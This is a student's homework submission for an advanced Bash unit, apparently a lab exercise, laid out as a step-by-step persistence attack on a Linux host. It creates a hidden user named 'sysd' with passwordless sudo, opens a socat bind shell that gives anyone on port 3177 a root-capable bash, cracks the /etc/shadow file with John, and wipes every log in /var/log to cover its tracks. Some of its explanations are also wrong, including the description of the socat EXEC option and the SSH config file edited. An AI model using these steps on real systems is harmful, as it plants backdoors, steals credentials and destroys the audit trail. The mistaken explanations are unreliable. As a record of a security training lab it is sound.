**#Berlys Deardorff**

**#March 30, 2020**

**## Submission for Unit 6 Advanced Bash Homework**

Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

- sudo adduser --system --no-create-home sysd

Give your secret user a password.

- sudo passwd sysd

password: student

Give your secret user a system UID < 1000.

- id -u sysd UID= 111

Give your secret user the same GID

- id -g sysd GID= 111

Give your secret user full sudo access without the need for a password.

- sudo nano /etc/sudoers

line added at the bottom of the text:

sysd ALL=(ALL:ALL) NOPASSWD:ALL

Test that sudo access works without your password

tested with sudo passwd root and it did not prompt me for a password

```bash

Your BASH commands go here

```

**## Allow ssh access over port 2222.**

sudo nano /etc/ssh/ssh\_config

added Port 2222 underneath #Port 22

Note the IP address of this system:

- 192.168.42.125

Exit the root accout.

- If you are in root, command is exit

SSH to the machine using your sysd account and port 2222

- ssh student@192.168.42.125 -p 2222

Use sudo to switch to the root user

- sudo su root

**### Create a backdoor with socat**

- Install socat

- apt -get install socat

- Run Socat command in the background

- socat TCP4-Listen:3177,fork EXEC:/bin/bash

- Explain each part of the `socat` command:

- tcp4-LISTEN listening for ipv4 instead of ipv6

- 3177 port it is listening to

- fork makes a copy

- EXEC:/bin/bash making a file and putting it into that path

- Exit the SSH session

- Exits

- Test socat connection from your local machine

- socat STDIO TCP4:192.168.42.125:3177

- Close the `socat` connection.

- Exit

**## Crack \_all\_ the passwords**

Ssh back to the system using your sysd account

- ssh sysd@192.168.42.125 -p 2222

- Use John to crack the entire /etc/shadow file

- cp /etc/shadow ~/shadow.txt - copies everything from shadow to shadow.txt

- unshadow shadow.txt > passwords.txt -

- john passwords.txt cracked the passwords

**## Cover your tracks**

- Use socat and a for loop to clear all system logs.

- for log in $(ls /var/log); do echo '' > /var/log/${log} ;done

socat is still running during the for loop